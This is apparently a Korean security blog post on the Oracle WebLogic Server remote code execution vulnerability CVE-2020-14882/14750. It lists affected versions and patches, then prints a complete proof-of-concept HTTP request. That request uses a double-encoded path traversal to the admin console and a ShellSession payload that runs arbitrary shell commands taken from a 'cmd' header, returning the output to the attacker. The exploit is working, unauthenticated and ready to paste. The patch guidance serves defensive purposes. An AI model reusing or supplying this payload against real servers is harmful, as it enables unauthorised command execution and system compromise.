※ 개요
- Oracle社의 WebLogic Server에서 발견된 취약점
- 공격자는 해당 취약점을 이용하여 RCE(원격코드 실행)가 가능함. 이는 인증 없이 원격에서 명령어 실행이 가능한 취약점으로써 굉장히 크리티컬한 취약점이라 할 수 있음 ( CVSS Score 9.8 )
※ 설명
- admin portal(기본 설정은 TCP port 7001)에서 발생되는 exploit
- double-encoded path traversal %25%2E%25%2E%252F 과 admin portal console.portal 이 요청 URI에 포함된다는 특징이 있음
- 단순히 패턴으로 차단할 경우에는 다음과 같은 기법들을 통해 우회될 수 있으니 보안패치할 것을 권고함
□ 영향을 받는 제품 및 버전
제품명 | 영향받는 버전 | CVSS Score(3.1) |
WebLogic Server | 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 |
9.8 |
※ 대응방안
- Oracle社 홈페이지에서 Patch Availability Document를 참고하여 최신 버전으로 업데이트 적용
- 영향받는 버전은 아래의 패치 적용
- oracle-weblogic-10_3_6_0_0-apply-patch-32097188
- oracle-weblogic-12_1_3_0_0-apply-patch-32097177
- oracle-weblogic-12_2_1_3_0-apply-patch-32097173
- oracle-weblogic-12_2_1_4_0-apply-patch-32097167
- oracle-weblogic-14_1_1_0_0-apply-patch-32097180
- oracle-weblogic-cve-2020-14750
※ PoC 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: XXX.XXX.XXX.XXX:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
|
cs |
===============================================================================
(참고)
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35761
- https://github.com/jas502n/CVE-2020-14882
'Hacking > Web' 카테고리의 다른 글
ASP.NET ViewState deserialization (0) | 2021.08.19 |
---|---|
WAF bypass using an uninitialized Bash variable (0) | 2021.07.16 |
Liferay Portal RCE ( CVE-2020–7961 ) (0) | 2020.08.14 |
XSS In event handler (0) | 2020.08.06 |
Content Security Policy(csp) (2) | 2020.07.28 |